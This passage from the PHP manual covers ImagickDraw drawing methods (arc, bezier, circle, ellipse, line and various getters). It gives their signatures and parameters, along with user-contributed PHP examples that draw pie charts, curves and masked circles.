This function is currently not documented; only its argument list is available.

Draws an arc falling within a specified bounding rectangle on the image.

Parameters

sx

Starting x ordinate of bounding rectangle

sy

starting y ordinate of bounding rectangle

ex

ending x ordinate of bounding rectangle

ey

ending y ordinate of bounding rectangle

sd

starting degrees of rotation

ed

ending degrees of rotation

Return Values

No value is returned.

User Contributed Notes

skmanji at manji dot org 24-Jun-2011 03:30
You can do a pie chart with a combination of arc and polygon functions (there really ought to be a built-in command for this)

<?php
//  create a new canvas object and a white image
$canvas     = new Imagick();
$canvas->newImage(600, 600, 'grey');

image_pie($canvas, 300, 300, 200, 0, 45, 'red');
image_pie($canvas, 300, 300, 200, 45, 125, 'green');
image_pie($canvas, 300, 300, 200, 125, 225, 'blue');
image_pie($canvas, 300, 300, 200, 225, 300, 'cyan');
image_pie($canvas, 300, 300, 200, 300, 360, 'orange');

//  output the image
$canvas->setImageFormat('png');
header("Content-Type: image/png");
echo $canvas;
exit;

// FUNCTIONS

function image_arc( &$canvas, $sx, $sy, $ex, $ey, $sd, $ed, $color = 'black' ) {

    //  draw arc on canvas
    //  $sx, $sy, $ex, $ey specify a bounding rectangle of a circle with the origin in the middle
    //  $sd, and $ed specify start and end angles in degrees

    $draw = new ImagickDraw();
    $draw->setFillColor($color);
    $draw->setStrokeColor($color);
    $draw->setStrokeWidth(1);
    $draw->arc($sx, $sy, $ex, $ey, $sd, $ed);
    $canvas->drawImage($draw);
}

function image_pie( &$canvas, $ox, $oy, $radius, $sd, $ed, $color = 'black' ) {

    //  draw pie segment
    //  $ox, $oy specify the circle origin
    //  $sd, and $ed specify start and end angles in degrees
    //  degrees start from 0 = East, and go clockwise

    //  position 1 - convert degrees to radians and get first point on perimeter of circle
    $x1     = $radius * cos($sd / 180 * 3.1416);
    $y1     = $radius * sin($sd / 180 * 3.1416);

    //  position 2 - convert degrees to radians and get second point on perimeter of circle
    $x2     = $radius * cos($ed / 180 * 3.1416);
    $y2     = $radius * sin($ed / 180 * 3.1416);

    //  draw segment triangle - specify the 3 points and draw a polygon
    $points = array(array('x' => $ox, 'y' => $oy), array('x' => $ox + $x1, 'y' => $oy + $y1), array('x' => $ox + $x2, 'y' => $oy + $y2));

    image_polygon($canvas, $points, $color);

    //  draw corrsesponding arc to complete the "pie" segment
    image_arc($canvas, $ox - $radius, $oy - $radius, $ox + $radius, $oy + $radius, $sd, $ed, $color);
}

function image_polygon( &$canvas, $points, $color = 'black' ) {

    //  draw a polygon on canvas

    $draw = new ImagickDraw();
    $draw->setFillColor($color);
    $draw->setStrokeColor($color);
    $draw->setStrokeWidth(1);
    $draw->polygon($points);
    $canvas->drawImage($draw);
}

?>


Draws a bezier curve

  • « ImagickDraw::arc
  • ImagickDraw::circle »
  • PHP Manual
  • ImagickDraw
  • Draws a bezier curve

ImagickDraw::bezier

(PECL imagick 2.0.0)

ImagickDraw::bezier — Draws a bezier curve

Description

bool ImagickDraw::bezier ( array $coordinates )
Warning

This function is currently not documented; only its argument list is available.

Draws a bezier curve through a set of points on the image.

Parameters

coordinates

Multidimensional array like array( array( 'x' => 1, 'y' => 2 ), array( 'x' => 3, 'y' => 4 ) )

Return Values

No value is returned.

User Contributed Notes

SkepticaLee 27-Jan-2014 01:19
This function requires at least 3 points. The following code fails when there are only two points left in the array:

<?php
$im = new Imagick ();
$points = array (array ('x' => 10, 'y' => 10), array ('x' => 20, 'y' => 10), array ('x' => 30, 'y' => 40), array ('x' => 40, 'y' => 20), array ('x' => 50, 'y' => 60));
$n = 0;
while (!empty ($points))
{
    $im->newImage (64, 64, "white");
    $draw = new ImagickDraw ();
    $draw->setFillColor ("none");
    $draw->setStrokeWidth (4);
    $draw->setStrokeColor ("black");
    $draw->setStrokeOpacity (0.9);
    $draw->setStrokeAntiAlias (true);
    $draw->bezier ($points);
    $im->drawImage ($draw);
    $im->writeImage ("IMG_$n.png");
    $draw->destroy ();
    $im->destroy ();
    echo count ($points) . ", $n: <img src=\"IMG_$n.png\"><br>";
    $n++;
    array_shift ($points);
}
?>
zombiebovine at gmail dot com 14-Sep-2009 12:43
How to use:

<?php
    $width =  200;
    $height = 200;
    $border = 2;

    $img = new Imagick();
    $img->newImage( $width, $height, new ImagickPixel( 'transparent' ) );

    $draw = new ImagickDraw();
    $draw->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw->setStrokeWidth( 2 );
    $draw->setFillColor( new ImagickPixel( 'transparent' ) );

    // will fail in an obscure manner if the input data is invalid
    $points = array
    (
        array( 'x' => 0, 'y' => 200 ),
        array( 'x' => 0, 'y' => 0 ),
        array( 'x' => 200, 'y' => 200 ),
        array( 'x' => 200, 'y' => 0 )
    );

    $draw->bezier($points);

    $img->drawImage( $draw );
    $img->setImageFormat( "png" );

    header( "Content-Type: image/png" );
    echo $img;
?>


Draws a circle

  • « ImagickDraw::bezier
  • ImagickDraw::clear »
  • PHP Manual
  • ImagickDraw
  • Draws a circle

ImagickDraw::circle

(PECL imagick 2.0.0)

ImagickDraw::circle — Draws a circle

Description

bool ImagickDraw::circle ( float $ox , float $oy , float $px , float $py )
Warning

This function is currently not documented; only its argument list is available.

Draws a circle on the image.

Parameters

ox

origin x coordinate

oy

origin y coordinate

px

perimeter x coordinate

py

perimeter y coordinate

Return Values

No value is returned.

User Contributed Notes

SkepticaLee 28-Jan-2014 06:26
The four values required here are a bit confusing. After all, a circle is defined by three values: the x, y coordinates of the centre, and the radius, r.

The fourth value is redundant, but has to be given, otherwise the function fails. One way of coping with this redundancy is:

<?php
$draw = new ImagickDraw ();
//given that $x and $y are the coordinates of the centre, and $r the radius:
$draw->circle ($x, $y, $x + $r, $y);
?>

There are any number of actions which are synonymous with the last, including:
<?php
$draw->circle ($x, $y, $x, $y + $r);
$draw->circle ($x, $y, $x - $r, $y);
$draw->circle ($x, $y, $x, $y - $r);
// etc, etc.
?>

Hope this helps.
christian dot reinecke at web dot de 23-Jun-2009 03:31
This example creates a circle, one part green, one part red using kind of masks for transparency, which you might know from Photoshop. drawImage() is a quick helper for debug output (see code comments) to help you reproduce the process.

<?php
function drawImage(Imagick $im) {
    $im->setCompressionQuality(100);
    $im->setImageFormat("jpg");
    header("Content-Type: image/" . $im->getImageFormat());
    echo $im;
    exit;
}

// define red/green layer
$layer1 = new Imagick();
$layer1->newImage(100, 100, "none");

$red = new ImagickDraw();
$red->setFillColor("#FF0000");
$red->rectangle(0, 0, 50, 100);

$green = new ImagickDraw();
$green->setFillColor("#00FF00");
$green->rectangle(50, 0, 100, 100);

$layer1->drawImage($red);
$layer1->drawImage($green);

# debug output: two rectangles
# drawImage($layer1);

// define circle mask
$layer2 = new Imagick();
$layer2->newImage(100, 100, "none");

$circle = new ImagickDraw();
$circle->setFillColor("#FFFFFF");
$circle->circle(50, 50, 48, 98);

$layer2->drawImage($circle);

# debug output: the mask
# drawImage($layer2);

// use mask
$layer1->compositeImage($layer2, Imagick::COMPOSITE_DSTIN, 0, 0);

# debug output: the result of our mask usage
# drawImage($layer1);

// define background
$layer3 = new Imagick();
$layer3->newImage(100, 100, "none");

$layer3->compositeImage($layer1, Imagick::COMPOSITE_DEFAULT, 0, 0);

// define ring as background
$layer4 = new Imagick();
$layer4->newImage(100, 100, "white"); // this is our background

$ring1 = new ImagickDraw();
$ring1->setFillColor("black");
$ring1->circle(50, 50, 50, 99);

$layer4->drawImage($ring1);

# debug output: this is a black circle (not our mask, which is similar, but a little bit smaller)
# drawImage($layer4);

// use black circle as background (this creates our circle border)
$layer4->compositeImage($layer3, Imagick::COMPOSITE_DEFAULT, 0, 0);

# debug output: here we go with our circle border
# drawImage($layer4);

// draw separator between red and green rectangle (now semi circles)
$line = new ImagickDraw();
$line->setStrokeWidth(1);
$line->setStrokeColor("black");
$line->line(50, 1, 50, 99);

// add our separator line
$layer4->drawImage($line);

drawImage($layer4);
?>

To understand how the COMPOSITE_* constants effect the image merging process, see here:
http://www.imagemagick.org/Usage/compose/#duff-porter


Clears the ImagickDraw

  • « ImagickDraw::circle
  • ImagickDraw::clone »
  • PHP Manual
  • ImagickDraw
  • Clears the ImagickDraw

ImagickDraw::clear

(PECL imagick 2.0.0)

ImagickDraw::clear — Clears the ImagickDraw

Description

bool ImagickDraw::clear ( void )
Warning

This function is currently not documented; only its argument list is available.

Clears the ImagickDraw object of any accumulated commands, and resets the settings it contains to their defaults.

Return Values

Returns an ImagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Makes an exact copy of the specified ImagickDraw object

  • « ImagickDraw::clear
  • ImagickDraw::color »
  • PHP Manual
  • ImagickDraw
  • Makes an exact copy of the specified ImagickDraw object

ImagickDraw::clone

(PECL imagick 2.0.0)

ImagickDraw::clone — Makes an exact copy of the specified ImagickDraw object

Description

ImagickDraw ImagickDraw::clone ( void )
Warning

This function is currently not documented; only its argument list is available.

Makes an exact copy of the specified ImagickDraw object.

Return Values

What the function returns, first on success, then on failure. See also the &return.success; entity

User Contributed Notes

There are no user contributed notes for this page.


Draws color on image

  • « ImagickDraw::clone
  • ImagickDraw::comment »
  • PHP Manual
  • ImagickDraw
  • Draws color on image

ImagickDraw::color

(PECL imagick 2.0.0)

ImagickDraw::color — Draws color on image

Description

bool ImagickDraw::color ( float $x , float $y , int $paintMethod )
Warning

This function is currently not documented; only its argument list is available.

Draws color on image using the current fill color, starting at specified position, and using specified paint method.

Parameters

x

x coordinate of the paint

y

y coordinate of the paint

paintMethod

one of the PAINT_ constants

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Adds a comment

  • « ImagickDraw::color
  • ImagickDraw::composite »
  • PHP Manual
  • ImagickDraw
  • Adds a comment

ImagickDraw::comment

(PECL imagick 2.0.0)

ImagickDraw::comment — Adds a comment

Description

bool ImagickDraw::comment ( string $comment )
Warning

This function is currently not documented; only its argument list is available.

Adds a comment to a vector output stream.

Parameters

comment

The comment string to add to vector output stream

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Composites an image onto the current image

  • « ImagickDraw::comment
  • ImagickDraw::__construct »
  • PHP Manual
  • ImagickDraw
  • Composites an image onto the current image

ImagickDraw::composite

(PECL imagick 2.0.0)

ImagickDraw::composite — Composites an image onto the current image

Description

bool ImagickDraw::composite ( int $compose , float $x , float $y , float $width , float $height , Imagick $compositeWand )
Warning

This function is currently not documented; only its argument list is available.

Composites an image onto the current image, using the specified composition operator, specified position, and at the specified size.

Parameters

compose

composition operator. One of COMPOSITE_ constants

x

x coordinate of the top left corner

y

y coordinate of the top left corner

width

width of the composition image

height

height of the composition image

compositeWand

the Imagick object where composition image is taken from

Return Values

Returns TRUE on success.

User Contributed Notes

christian dot reinecke at web dot de 23-Jun-2009 10:31
To see some examples how the COMPOSITE_* constants work, see this page:
http://www.imagemagick.org/Usage/compose/#duff-porter


The ImagickDraw constructor

  • « ImagickDraw::composite
  • ImagickDraw::destroy »
  • PHP Manual
  • ImagickDraw
  • The ImagickDraw constructor

ImagickDraw::__construct

(PECL imagick 2.0.0)

ImagickDraw::__construct — The ImagickDraw constructor

Description

ImagickDraw::__construct ( void )
Warning

This function is currently not documented; only its argument list is available.

The ImagickDraw constructor

Return Values

No value is returned.

User Contributed Notes

Anonymous 31-Mar-2009 11:59
To set up and output an image the very minimum:
<?php
$img = new Imagick();
$img->newImage( 200, 200, new ImagickPixel( 'lime' ) );
$img->setImageFormat( "png" );
header( "Content-Type: image/png" );
echo $img;
?>
Copy, paste; and if imagemagick is enabled it should come up with a lime colored square.


Frees all associated resources

  • « ImagickDraw::__construct
  • ImagickDraw::ellipse »
  • PHP Manual
  • ImagickDraw
  • Frees all associated resources

ImagickDraw::destroy

(PECL imagick 2.0.0)

ImagickDraw::destroy — Frees all associated resources

Description

bool ImagickDraw::destroy ( void )
Warning

This function is currently not documented; only its argument list is available.

Frees all resources associated with the ImagickDraw object.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws an ellipse on the image

  • « ImagickDraw::destroy
  • ImagickDraw::getClipPath »
  • PHP Manual
  • ImagickDraw
  • Draws an ellipse on the image

ImagickDraw::ellipse

(PECL imagick 2.0.0)

ImagickDraw::ellipse — Draws an ellipse on the image

Description

bool ImagickDraw::ellipse ( float $ox , float $oy , float $rx , float $ry , float $start , float $end )
Warning

This function is currently not documented; only its argument list is available.

Draws an ellipse on the image.

Parameters

ox

oy

rx

ry

start

end

Return Values

No value is returned.

User Contributed Notes

Axeia 31-Mar-2009 11:10
<?php
/**
 * Please note that if you use a stroke. ( Imagick::setStrokeWidth( 2 ) ) the
 * stroke is drawn outside the ellipse dimensions.
 *
 * @param float $ox - Offset X, distance from the center of the ellipse till the left border of the image
 * @param float $oy - Offset Y, distance from the center of the ellipse till the top of the image
 * @param float $rx - X radius
 * @param float $ry - Y radius
 * @param float float $start - Starting angle in degrees.
 * @param float float $end - End angle in degrees.
 *
 */
ImagickDraw::ellipse( float $ox  , float $oy  , float $rx  , float $ry  , float $start  , float $end  );
?>

Example of drawing a full ellipse (from 0, 360) and outputting it as a PNG.
Do note, that this is  by default anti-aliased unlike the GD functions which only support it on lines that aren't on a transparent background.
<?php
$width =  200;
$height = 100;
$border = 2;

$img = new Imagick();
$img->newImage( $width, $height, new ImagickPixel( 'transparent' ) );

$draw = new ImagickDraw();
$draw->setStrokeColor( new ImagickPixel( 'black' ) );
$draw->setStrokeWidth( 2 );
$draw->setFillColor( new ImagickPixel( 'transparent' ) );
//Substract the border from the radius so it doesn't fall outside the screen.
$draw->ellipse( $width/2, $height/2, ($width/2)-$border, ($height/2)-$border, 0, 360 );
$img->drawImage( $draw );
$img->setImageFormat( "png" );

header( "Content-Type: image/png" );
echo $img;
?>


Obtains the current clipping path ID

  • « ImagickDraw::ellipse
  • ImagickDraw::getClipRule »
  • PHP Manual
  • ImagickDraw
  • Obtains the current clipping path ID

ImagickDraw::getClipPath

(PECL imagick 2.0.0)

ImagickDraw::getClipPath — Obtains the current clipping path ID

Description

string ImagickDraw::getClipPath ( void )
Warning

This function is currently not documented; only its argument list is available.

Obtains the current clipping path ID.

Return Values

Returns a string containing the clip path ID or false if no clip path exists.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current polygon fill rule

  • « ImagickDraw::getClipPath
  • ImagickDraw::getClipUnits »
  • PHP Manual
  • ImagickDraw
  • Returns the current polygon fill rule

ImagickDraw::getClipRule

(PECL imagick 2.0.0)

ImagickDraw::getClipRule — Returns the current polygon fill rule

Description

int ImagickDraw::getClipRule ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the current polygon fill rule to be used by the clipping path.

Return Values

Returns one of the FILLRULE_ constants.

User Contributed Notes

There are no user contributed notes for this page.


Returns the interpretation of clip path units

  • « ImagickDraw::getClipRule
  • ImagickDraw::getFillColor »
  • PHP Manual
  • ImagickDraw
  • Returns the interpretation of clip path units

ImagickDraw::getClipUnits

(PECL imagick 2.0.0)

ImagickDraw::getClipUnits — Returns the interpretation of clip path units

Description

int ImagickDraw::getClipUnits ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the interpretation of clip path units.

Return Values

Returns an int on success.

User Contributed Notes

There are no user contributed notes for this page.


Returns the fill color

  • « ImagickDraw::getClipUnits
  • ImagickDraw::getFillOpacity »
  • PHP Manual
  • ImagickDraw
  • Returns the fill color

ImagickDraw::getFillColor

(PECL imagick 2.0.0)

ImagickDraw::getFillColor — Returns the fill color

Description

ImagickPixel ImagickDraw::getFillColor ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the fill color used for drawing filled objects.

Return Values

Returns an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.


Returns the opacity used when drawing

  • « ImagickDraw::getFillColor
  • ImagickDraw::getFillRule »
  • PHP Manual
  • ImagickDraw
  • Returns the opacity used when drawing

ImagickDraw::getFillOpacity

(PECL imagick 2.0.0)

ImagickDraw::getFillOpacity — Returns the opacity used when drawing

Description

float ImagickDraw::getFillOpacity ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the opacity used when drawing using the fill color or fill texture. Fully opaque is 1.0.

Return Values

The opacity.

User Contributed Notes

There are no user contributed notes for this page.


Returns the fill rule

  • « ImagickDraw::getFillOpacity
  • ImagickDraw::getFont »
  • PHP Manual
  • ImagickDraw
  • Returns the fill rule

ImagickDraw::getFillRule

(PECL imagick 2.0.0)

ImagickDraw::getFillRule — Returns the fill rule

Description

int ImagickDraw::getFillRule ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the fill rule used while drawing polygons.

Return Values

Returns a FILLRULE_ constant

User Contributed Notes

There are no user contributed notes for this page.


Returns the font

  • « ImagickDraw::getFillRule
  • ImagickDraw::getFontFamily »
  • PHP Manual
  • ImagickDraw
  • Returns the font

ImagickDraw::getFont

(PECL imagick 2.0.0)

ImagickDraw::getFont — Returns the font

Description

string ImagickDraw::getFont ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns a string specifying the font used when annotating with text.

Return Values

Returns a string on success and false if no font is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font family

  • « ImagickDraw::getFont
  • ImagickDraw::getFontSize »
  • PHP Manual
  • ImagickDraw
  • Returns the font family

ImagickDraw::getFontFamily

(PECL imagick 2.0.0)

ImagickDraw::getFontFamily — Returns the font family

Description

string ImagickDraw::getFontFamily ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the font family to use when annotating with text.

Return Values

Returns the font family currently selected or false if font family is not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font pointsize

  • « ImagickDraw::getFontFamily
  • ImagickDraw::getFontStyle »
  • PHP Manual
  • ImagickDraw
  • Returns the font pointsize

ImagickDraw::getFontSize

(PECL imagick 2.0.0)

ImagickDraw::getFontSize — Returns the font pointsize

Description

float ImagickDraw::getFontSize ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the font pointsize used when annotating with text.

Return Values

Returns the font size associated with the current ImagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font style

  • « ImagickDraw::getFontSize
  • ImagickDraw::getFontWeight »
  • PHP Manual
  • ImagickDraw
  • Returns the font style

ImagickDraw::getFontStyle

(PECL imagick 2.0.0)

ImagickDraw::getFontStyle — Returns the font style

Description

int ImagickDraw::getFontStyle ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the font style used when annotating with text.

Return Values

Returns the font style constant (STYLE_) associated with the ImagickDraw object or 0 if no style is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font weight

  • « ImagickDraw::getFontStyle
  • ImagickDraw::getGravity »
  • PHP Manual
  • ImagickDraw
  • Returns the font weight

ImagickDraw::getFontWeight

(PECL imagick 2.0.0)

ImagickDraw::getFontWeight — Returns the font weight

Description

int ImagickDraw::getFontWeight ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the font weight used when annotating with text.

Return Values

Returns an int on success and 0 if no weight is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text placement gravity

  • « ImagickDraw::getFontWeight
  • ImagickDraw::getStrokeAntialias »
  • PHP Manual
  • ImagickDraw
  • Returns the text placement gravity

ImagickDraw::getGravity

(PECL imagick 2.0.0)

ImagickDraw::getGravity — Returns the text placement gravity

Description

int ImagickDraw::getGravity ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the text placement gravity used when annotating with text.

Return Values

Returns a GRAVITY_ constant on success and 0 if no gravity is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current stroke antialias setting

  • « ImagickDraw::getGravity
  • ImagickDraw::getStrokeColor »
  • PHP Manual
  • ImagickDraw
  • Returns the current stroke antialias setting

ImagickDraw::getStrokeAntialias

(PECL imagick 2.0.0)

ImagickDraw::getStrokeAntialias — Returns the current stroke antialias setting

Description

bool ImagickDraw::getStrokeAntialias ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the current stroke antialias setting. Stroked outlines are antialiased by default. When antialiasing is disabled stroked pixels are thresholded to determine if the stroke color or underlying canvas color should be used.

Return Values

Returns TRUE if antialiasing is on and false if it is off.

User Contributed Notes

There are no user contributed notes for this page.


Returns the color used for stroking object outlines

  • « ImagickDraw::getStrokeAntialias
  • ImagickDraw::getStrokeDashArray »
  • PHP Manual
  • ImagickDraw
  • Returns the color used for stroking object outlines

ImagickDraw::getStrokeColor

(PECL imagick 2.0.0)

ImagickDraw::getStrokeColor — Returns the color used for stroking object outlines

Description

ImagickPixel ImagickDraw::getStrokeColor ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the color used for stroking object outlines.

Parameters

stroke_color

Return Values

Returns an ImagickPixel object which describes the color.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array representing the pattern of dashes and gaps used to stroke paths

  • « ImagickDraw::getStrokeColor
  • ImagickDraw::getStrokeDashOffset »
  • PHP Manual
  • ImagickDraw
  • Returns an array representing the pattern of dashes and gaps used to stroke paths

ImagickDraw::getStrokeDashArray

(PECL imagick 2.0.0)

ImagickDraw::getStrokeDashArray — Returns an array representing the pattern of dashes and gaps used to stroke paths

Description

array ImagickDraw::getStrokeDashArray ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns an array representing the pattern of dashes and gaps used to stroke paths.

Return Values

Returns an array on success and empty array if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the offset into the dash pattern to start the dash

  • « ImagickDraw::getStrokeDashArray
  • ImagickDraw::getStrokeLineCap »
  • PHP Manual
  • ImagickDraw
  • Returns the offset into the dash pattern to start the dash

ImagickDraw::getStrokeDashOffset

(PECL imagick 2.0.0)

ImagickDraw::getStrokeDashOffset — Returns the offset into the dash pattern to start the dash

Description

float ImagickDraw::getStrokeDashOffset ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the offset into the dash pattern to start the dash.

Return Values

Returns a float representing the offset and 0 if it's not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the shape to be used at the end of open subpaths when they are stroked

  • « ImagickDraw::getStrokeDashOffset
  • ImagickDraw::getStrokeLineJoin »
  • PHP Manual
  • ImagickDraw
  • Returns the shape to be used at the end of open subpaths when they are stroked

ImagickDraw::getStrokeLineCap

(PECL imagick 2.0.0)

ImagickDraw::getStrokeLineCap — Returns the shape to be used at the end of open subpaths when they are stroked

Description

int ImagickDraw::getStrokeLineCap ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the shape to be used at the end of open subpaths when they are stroked.

Return Values

Returns one of the LINECAP_ constants or 0 if stroke linecap is not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the shape to be used at the corners of paths when they are stroked

  • « ImagickDraw::getStrokeLineCap
  • ImagickDraw::getStrokeMiterLimit »
  • PHP Manual
  • ImagickDraw
  • Returns the shape to be used at the corners of paths when they are stroked

ImagickDraw::getStrokeLineJoin

(PECL imagick 2.0.0)

ImagickDraw::getStrokeLineJoin — Returns the shape to be used at the corners of paths when they are stroked

Description

int ImagickDraw::getStrokeLineJoin ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the shape to be used at the corners of paths (or other vector shapes) when they are stroked.

Return Values

Returns one of the LINEJOIN_ constants or 0 if stroke line join is not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the stroke miter limit

  • « ImagickDraw::getStrokeLineJoin
  • ImagickDraw::getStrokeOpacity »
  • PHP Manual
  • ImagickDraw
  • Returns the stroke miter limit

ImagickDraw::getStrokeMiterLimit

(PECL imagick 2.0.0)

ImagickDraw::getStrokeMiterLimit — Returns the stroke miter limit

Description

int ImagickDraw::getStrokeMiterLimit ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the miter limit. When two line segments meet at a sharp angle and miter joins have been specified for 'lineJoin', it is possible for the miter to extend far beyond the thickness of the line stroking the path. The 'miterLimit' imposes a limit on the ratio of the miter length to the 'lineWidth'.

Return Values

Returns an int describing the miter limit and 0 if no miter limit is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the opacity of stroked object outlines

  • « ImagickDraw::getStrokeMiterLimit
  • ImagickDraw::getStrokeWidth »
  • PHP Manual
  • ImagickDraw
  • Returns the opacity of stroked object outlines

ImagickDraw::getStrokeOpacity

(PECL imagick 2.0.0)

ImagickDraw::getStrokeOpacity — Returns the opacity of stroked object outlines

Description

float ImagickDraw::getStrokeOpacity ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the opacity of stroked object outlines.

Return Values

Returns a double describing the opacity.

User Contributed Notes

There are no user contributed notes for this page.


Returns the width of the stroke used to draw object outlines

  • « ImagickDraw::getStrokeOpacity
  • ImagickDraw::getTextAlignment »
  • PHP Manual
  • ImagickDraw
  • Returns the width of the stroke used to draw object outlines

ImagickDraw::getStrokeWidth

(PECL imagick 2.0.0)

ImagickDraw::getStrokeWidth — Returns the width of the stroke used to draw object outlines

Description

float ImagickDraw::getStrokeWidth ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the width of the stroke used to draw object outlines.

Return Values

Returns a double describing the stroke width.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text alignment

  • « ImagickDraw::getStrokeWidth
  • ImagickDraw::getTextAntialias »
  • PHP Manual
  • ImagickDraw
  • Returns the text alignment

ImagickDraw::getTextAlignment

(PECL imagick 2.0.0)

ImagickDraw::getTextAlignment — Returns the text alignment

Description

int ImagickDraw::getTextAlignment ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the alignment applied when annotating with text.

Return Values

Returns one of the ALIGN_ constants and 0 if no align is set.

User Contributed Notes

moguchicorp at gmail dot com 15-Mar-2011 12:05
check ImagickDraw::SetTextAlignment notes for examples and constants values

http://php.net/manual/en/function.imagickdraw-settextalignment.php


Returns the current text antialias setting

  • « ImagickDraw::getTextAlignment
  • ImagickDraw::getTextDecoration »
  • PHP Manual
  • ImagickDraw
  • Returns the current text antialias setting

ImagickDraw::getTextAntialias

(PECL imagick 2.0.0)

ImagickDraw::getTextAntialias — Returns the current text antialias setting

Description

bool ImagickDraw::getTextAntialias ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the current text antialias setting, which determines whether text is antialiased. Text is antialiased by default.

Return Values

Returns TRUE if text is antialiased and false if not.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text decoration

  • « ImagickDraw::getTextAntialias
  • ImagickDraw::getTextEncoding »
  • PHP Manual
  • ImagickDraw
  • Returns the text decoration

ImagickDraw::getTextDecoration

(PECL imagick 2.0.0)

ImagickDraw::getTextDecoration — Returns the text decoration

Description

int ImagickDraw::getTextDecoration ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the decoration applied when annotating with text.

Return Values

Returns one of the DECORATION_ constants and 0 if no decoration is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the code set used for text annotations

  • « ImagickDraw::getTextDecoration
  • ImagickDraw::getTextUnderColor »
  • PHP Manual
  • ImagickDraw
  • Returns the code set used for text annotations

ImagickDraw::getTextEncoding

(PECL imagick 2.0.0)

ImagickDraw::getTextEncoding — Returns the code set used for text annotations

Description

string ImagickDraw::getTextEncoding ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns a string which specifies the code set used for text annotations.

Return Values

Returns a string specifying the code set or false if text encoding is not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text under color

  • « ImagickDraw::getTextEncoding
  • ImagickDraw::getVectorGraphics »
  • PHP Manual
  • ImagickDraw
  • Returns the text under color

ImagickDraw::getTextUnderColor

(PECL imagick 2.0.0)

ImagickDraw::getTextUnderColor — Returns the text under color

Description

ImagickPixel ImagickDraw::getTextUnderColor ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the color of a background rectangle to place under text annotations.

Return Values

Returns an ImagickPixel object describing the color.

User Contributed Notes

There are no user contributed notes for this page.


Returns a string containing vector graphics

  • « ImagickDraw::getTextUnderColor
  • ImagickDraw::line »
  • PHP Manual
  • ImagickDraw
  • Returns a string containing vector graphics

ImagickDraw::getVectorGraphics

(PECL imagick 2.0.0)

ImagickDraw::getVectorGraphics — Returns a string containing vector graphics

Description

string ImagickDraw::getVectorGraphics ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns a string which specifies the vector graphics generated by any graphics calls made since the ImagickDraw object was instantiated.

Return Values

Returns a string containing the vector graphics.

User Contributed Notes

There are no user contributed notes for this page.


Draws a line

  • « ImagickDraw::getVectorGraphics
  • ImagickDraw::matte »
  • PHP Manual
  • ImagickDraw
  • Draws a line

ImagickDraw::line

(PECL imagick 2.0.0)

ImagickDraw::line — Draws a line

Description

bool ImagickDraw::line ( float $sx , float $sy , float $ex , float $ey )
Warning

This function is currently not documented; only its argument list is available.

Draws a line on the image using the current stroke color, stroke opacity, and stroke width.

Parameters

sx

starting x coordinate

sy

starting y coordinate

ex

ending x coordinate

ey

ending y coordinate

Return Values

No value is returned.

User Contributed Notes

GaryM at BinaryFarm dot com 24-Feb-2010 08:48
<?php

// a twist on the above radar screen.
// This makes random colored spokes from a center point

    $width =  400;
    $height = 400;

    $image = new Imagick();
    $image->newImage( $width, $height, new ImagickPixel( 'wheat' ) );
    $draw = new ImagickDraw();
   //$draw->setStrokeColor( new ImagickPixel( 'black' ) );

    $rx = $width / 2;
    $ry = $height / 2;
    $total = 2*M_PI;
    $part = $total / 16;
    while( $total > 0  )
    {
        $ex = $rx +$rx * sin( $total );
        $ey = $ry +$ry * cos( $total );
        $draw->line  ( $rx, $ry, $ex, $ey );
        $total -= $part;

    // We need three HEX numbers to create an RGB color code like '#FF33DD'.

    $draw->setStrokeColor( get_random_color() );
    }
    $image->drawImage( $draw );
    $image->setImageFormat( "png" );
    header( "Content-Type: image/png" );
    echo $image;
    exit;

function get_random_color()        // Thanks to Greg R. for this nice little function.
{
    for ($i = 0; $i<6; $i++)
    {
        $c .=  dechex(rand(0,15));
    }
    return "#$c";
}
?>


Paints on the image's opacity channel

  • « ImagickDraw::line
  • ImagickDraw::pathClose »
  • PHP Manual
  • ImagickDraw
